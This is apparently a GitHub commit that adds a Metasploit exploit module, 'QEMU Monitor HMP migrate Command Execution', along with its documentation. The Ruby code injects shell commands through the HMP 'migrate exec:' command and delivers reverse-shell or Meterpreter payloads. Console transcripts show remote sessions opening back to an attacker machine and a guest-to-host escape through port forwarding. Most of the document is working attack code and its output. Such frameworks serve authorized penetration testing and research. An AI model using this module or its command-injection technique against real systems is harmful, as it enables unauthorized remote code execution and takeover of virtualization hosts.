Skip to content

Commit 2f3e474

Browse files
committed
Land #16151, Add QEMU Monitor HMP exec module
2 parents a554a98 + 5bbe934 commit 2f3e474

File tree

2 files changed

+303
-0
lines changed

2 files changed

+303
-0
lines changed
Lines changed: 183 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,183 @@
1+
## Vulnerable Application
2+
3+
This module uses QEMU's Monitor Human Monitor Interface (HMP)
4+
TCP server to execute system commands using the `migrate` command.
5+
6+
This module has been tested successfully on QEMU version 6.2.0
7+
on Ubuntu 20.04.
8+
9+
Note: The `migrate` command cannot spawn processes for QEMU
10+
running on Windows systems.
11+
12+
13+
## Installation Steps
14+
15+
Download and install [QEMU](https://www.qemu.org/download/).
16+
17+
18+
## Verification Steps
19+
20+
Start QEMU and monitor HMP service using TCP:
21+
22+
```
23+
qemu-system-aarch64 -M virt -monitor tcp:0.0.0.0:4444,server,nowait -serial mon:stdio -nographic
24+
```
25+
26+
1. `msfconsole`
27+
1. `use exploit/multi/misc/qemu_monitor_hmp_migrate_cmd_exec`
28+
1. `set rhosts [host]`
29+
1. `set rport [port]`
30+
1. `set target [target]`
31+
1. `run`
32+
1. You should get a session
33+
34+
35+
## Options
36+
37+
38+
## Scenarios
39+
40+
### Unix Command Target
41+
42+
```
43+
msf6 > use exploit/multi/misc/qemu_monitor_hmp_migrate_cmd_exec
44+
[*] Using configured payload cmd/unix/reverse
45+
msf6 exploit(multi/misc/qemu_monitor_hmp_migrate_cmd_exec) > set rhosts 172.16.191.240
46+
rhosts => 172.16.191.240
47+
msf6 exploit(multi/misc/qemu_monitor_hmp_migrate_cmd_exec) > set rport 4444
48+
rport => 4444
49+
msf6 exploit(multi/misc/qemu_monitor_hmp_migrate_cmd_exec) > set lhost 172.16.191.192
50+
lhost => 172.16.191.192
51+
msf6 exploit(multi/misc/qemu_monitor_hmp_migrate_cmd_exec) > run
52+
53+
[*] Started reverse TCP double handler on 172.16.191.192:4444
54+
[*] 172.16.191.240:4444 - Running automatic check ("set AutoCheck false" to disable)
55+
[+] 172.16.191.240:4444 - The target appears to be vulnerable. QEMU monitor HMP service is running.
56+
[*] 172.16.191.240:4444 - Sending payload (128 bytes) ...
57+
[*] Accepted the first client connection...
58+
[*] Accepted the second client connection...
59+
[*] Command: echo RDx8lJn8owvPaWYr;
60+
[*] Writing to socket A
61+
[*] Writing to socket B
62+
[*] Reading from sockets...
63+
[*] Reading from socket A
64+
[*] A: "sh: 2: Connected: not found\r\nsh: 3: Escape: not found\r\nRDx8lJn8owvPaWYr\r\n"
65+
[*] Matching...
66+
[*] B is input...
67+
[*] Command shell session 1 opened (172.16.191.192:4444 -> 172.16.191.240:41054 ) at 2022-02-05 23:30:49 -0500
68+
69+
id
70+
uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),120(lpadmin),131(lxd),132(sambashare),1002(wireshark)
71+
```
72+
73+
### Linux Dropper Target
74+
75+
```
76+
msf6 > use exploit/multi/misc/qemu_monitor_hmp_migrate_cmd_exec
77+
[*] Using configured payload cmd/unix/reverse
78+
msf6 exploit(multi/misc/qemu_monitor_hmp_migrate_cmd_exec) > set rhosts 172.16.191.240
79+
rhosts => 172.16.191.240
80+
msf6 exploit(multi/misc/qemu_monitor_hmp_migrate_cmd_exec) > set rport 4444
81+
rport => 4444
82+
msf6 exploit(multi/misc/qemu_monitor_hmp_migrate_cmd_exec) > set target 2
83+
target => 2
84+
msf6 exploit(multi/misc/qemu_monitor_hmp_migrate_cmd_exec) > set target "Linux (Dropper)"
85+
target => Linux (Dropper)
86+
msf6 exploit(multi/misc/qemu_monitor_hmp_migrate_cmd_exec) > set lhost 172.16.191.192
87+
lhost => 172.16.191.192
88+
msf6 exploit(multi/misc/qemu_monitor_hmp_migrate_cmd_exec) > run
89+
90+
[*] Started reverse TCP handler on 172.16.191.192:4444
91+
[*] 172.16.191.240:4444 - Running automatic check ("set AutoCheck false" to disable)
92+
[+] 172.16.191.240:4444 - The target appears to be vulnerable. QEMU monitor HMP service is running.
93+
[*] 172.16.191.240:4444 - Sending payload (178 bytes) ...
94+
[*] Sending stage (989032 bytes) to 172.16.191.240
95+
[*] 172.16.191.240:4444 - Command Stager progress - 100.00% done (849/849 bytes)
96+
[*] Meterpreter session 1 opened (172.16.191.192:4444 -> 172.16.191.240:41050 ) at 2022-02-05 23:24:56 -0500
97+
98+
meterpreter > getuid
99+
Server username: user
100+
meterpreter >
101+
```
102+
103+
### QEMU Breakout
104+
105+
The HMP TCP service is reachable from emulated devices, even when the service is
106+
bound to the local network interface only (ie, `-monitor tcp:127.0.0.1:4444`), as
107+
all network traffic from the emulated network adapter is routed via the QEMU host.
108+
109+
As such, it is possible to escape QEMU from a session within an emulated device
110+
(10.0.2.15) and gain a session on the QEMU host (10.0.2.2).
111+
112+
```
113+
msf6 exploit(multi/handler) > sessions -i 1
114+
[*] Starting interaction with 1...
115+
116+
meterpreter > sysinfo
117+
Computer : debian-9-13-0-mipsel.local
118+
OS : Debian 11.2 (Linux 5.10.0-10-4kc-malta)
119+
Architecture : mips
120+
BuildTuple : mipsel-linux-muslsf
121+
Meterpreter : mipsle/linux
122+
meterpreter > ipconfig
123+
124+
Interface 1
125+
============
126+
Name : lo
127+
Hardware MAC : 00:00:00:00:00:00
128+
MTU : 65536
129+
Flags : UP,LOOPBACK
130+
IPv4 Address : 127.0.0.1
131+
IPv4 Netmask : 255.0.0.0
132+
IPv6 Address : ::1
133+
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff::
134+
135+
136+
Interface 2
137+
============
138+
Name : enp0s11
139+
Hardware MAC : 52:54:00:12:34:56
140+
MTU : 1500
141+
Flags : UP,BROADCAST,MULTICAST
142+
IPv4 Address : 10.0.2.15
143+
IPv4 Netmask : 255.255.255.0
144+
IPv6 Address : fe80::5054:ff:fe12:3456
145+
IPv6 Netmask : ffff:ffff:ffff:ffff::
146+
IPv6 Address : fec0::5054:ff:fe12:3456
147+
IPv6 Netmask : ffff:ffff:ffff:ffff::
148+
149+
meterpreter > portfwd add -l 1234 -p 4444 -r 10.0.2.2
150+
[*] Local TCP relay created: :1234 <-> 10.0.2.2:4444
151+
meterpreter >
152+
Background session 1? [y/N]
153+
msf6 exploit(multi/handler) > use exploit/multi/misc/qemu_monitor_hmp_migrate_cmd_exec
154+
[*] Using configured payload cmd/unix/reverse
155+
msf6 exploit(multi/misc/qemu_monitor_hmp_migrate_cmd_exec) > set rport 1234
156+
rport => 1234
157+
msf6 exploit(multi/misc/qemu_monitor_hmp_migrate_cmd_exec) > set rhost 127.0.0.1
158+
rhost => 127.0.0.1
159+
msf6 exploit(multi/misc/qemu_monitor_hmp_migrate_cmd_exec) > check
160+
[*] 127.0.0.1:1234 - The target appears to be vulnerable. QEMU monitor HMP service is running.
161+
msf6 exploit(multi/misc/qemu_monitor_hmp_migrate_cmd_exec) > set lhost 172.16.191.192
162+
lhost => 172.16.191.192
163+
msf6 exploit(multi/misc/qemu_monitor_hmp_migrate_cmd_exec) > run
164+
165+
[*] Started reverse TCP double handler on 172.16.191.192:4444
166+
[*] 127.0.0.1:1234 - Running automatic check ("set AutoCheck false" to disable)
167+
[+] 127.0.0.1:1234 - The target appears to be vulnerable. QEMU monitor HMP service is running.
168+
[*] 127.0.0.1:1234 - Sending payload (128 bytes) ...
169+
[*] Accepted the first client connection...
170+
[*] Accepted the second client connection...
171+
[*] Command: echo Rl19l7hvy8EO5hPz;
172+
[*] Writing to socket A
173+
[*] Writing to socket B
174+
[*] Reading from sockets...
175+
[*] Reading from socket B
176+
[*] B: "Rl19l7hvy8EO5hPz\r\n"
177+
[*] Matching...
178+
[*] A is input...
179+
[*] Command shell session 2 opened (172.16.191.192:4444 -> 172.16.191.240:41056 ) at 2022-02-06 12:54:42 -0500
180+
181+
uname -a
182+
Linux ubuntu 5.13.0-27-generic #29~20.04.1-Ubuntu SMP Fri Jan 14 00:32:30 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
183+
```
Lines changed: 120 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,120 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = ExcellentRanking
8+
9+
include Msf::Exploit::Remote::Tcp
10+
include Msf::Exploit::CmdStager
11+
include Msf::Exploit::FileDropper
12+
prepend Msf::Exploit::Remote::AutoCheck
13+
14+
def initialize(info = {})
15+
super(
16+
update_info(
17+
info,
18+
'Name' => "QEMU Monitor HMP 'migrate' Command Execution",
19+
'Description' => %q{
20+
This module uses QEMU's Monitor Human Monitor Interface (HMP)
21+
TCP server to execute system commands using the `migrate` command.
22+
23+
This module has been tested successfully on QEMU version 6.2.0
24+
on Ubuntu 20.04.
25+
},
26+
'License' => MSF_LICENSE,
27+
'Author' => ['bcoles'],
28+
'References' => [
29+
['URL', 'https://wiki.qemu.org/ToDo/HMP'],
30+
['URL', 'https://www.qemu.org/docs/master/system/monitor.html'],
31+
['URL', 'https://www.qemu.org/docs/master/system/security.html'],
32+
['URL', 'https://www.linux-kvm.org/page/Migration'],
33+
],
34+
'Arch' => [ ARCH_CMD, ARCH_AARCH64, ARCH_ARMLE, ARCH_X86, ARCH_X64 ],
35+
'Platform' => %w[unix linux],
36+
'Payload' => {
37+
'DisableNops' => true,
38+
'BadChars' => "\x00\x0a\x0d\x22",
39+
'Space' => 1010
40+
},
41+
'Targets' => [
42+
[
43+
'Unix (Command)',
44+
{
45+
'Platform' => 'unix',
46+
'Arch' => ARCH_CMD,
47+
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse' },
48+
'Type' => :unix_cmd
49+
}
50+
],
51+
[
52+
'Linux (Dropper)',
53+
{
54+
'Platform' => 'linux',
55+
'Arch' => [ ARCH_AARCH64, ARCH_ARMLE, ARCH_X86, ARCH_X64 ],
56+
'DefaultOptions' => {
57+
'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp',
58+
'PrependFork' => true,
59+
'MeterpreterTryToFork' => true
60+
},
61+
'Type' => :linux_dropper
62+
}
63+
]
64+
],
65+
'Notes' => {
66+
'Stability' => [CRASH_SAFE],
67+
'Reliability' => [REPEATABLE_SESSION],
68+
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
69+
},
70+
'Privileged' => false,
71+
'DisclosureDate' => '2011-12-02'
72+
)
73+
)
74+
end
75+
76+
def read_until_prompt
77+
::Timeout.timeout(10) do
78+
loop do
79+
res = sock.get_once
80+
break if res.nil?
81+
break if res.to_s.include?('(qemu)')
82+
end
83+
end
84+
end
85+
86+
def check
87+
connect
88+
banner = sock.get_once.to_s
89+
disconnect
90+
91+
unless banner.include?('QEMU') && banner.include?('monitor')
92+
return CheckCode::Safe('Service is not QEMU monitor HMP.')
93+
end
94+
95+
CheckCode::Appears('QEMU monitor HMP service is running.')
96+
end
97+
98+
def execute_command(cmd, _opts = {})
99+
cmd = cmd.gsub('\\', '\\\\\\')
100+
vprint_status("Executing command: #{cmd}")
101+
sock.put("migrate -d \"exec:#{cmd}\"\n")
102+
read_until_prompt
103+
end
104+
105+
def exploit
106+
connect
107+
read_until_prompt
108+
109+
print_status "Sending payload (#{payload.encoded.length} bytes) ..."
110+
111+
case target['Type']
112+
when :unix_cmd
113+
execute_command(payload.encoded)
114+
when :linux_dropper
115+
execute_cmdstager(linemax: 1010, background: true)
116+
end
117+
ensure
118+
disconnect unless sock.nil?
119+
end
120+
end

0 commit comments

Comments
 (0)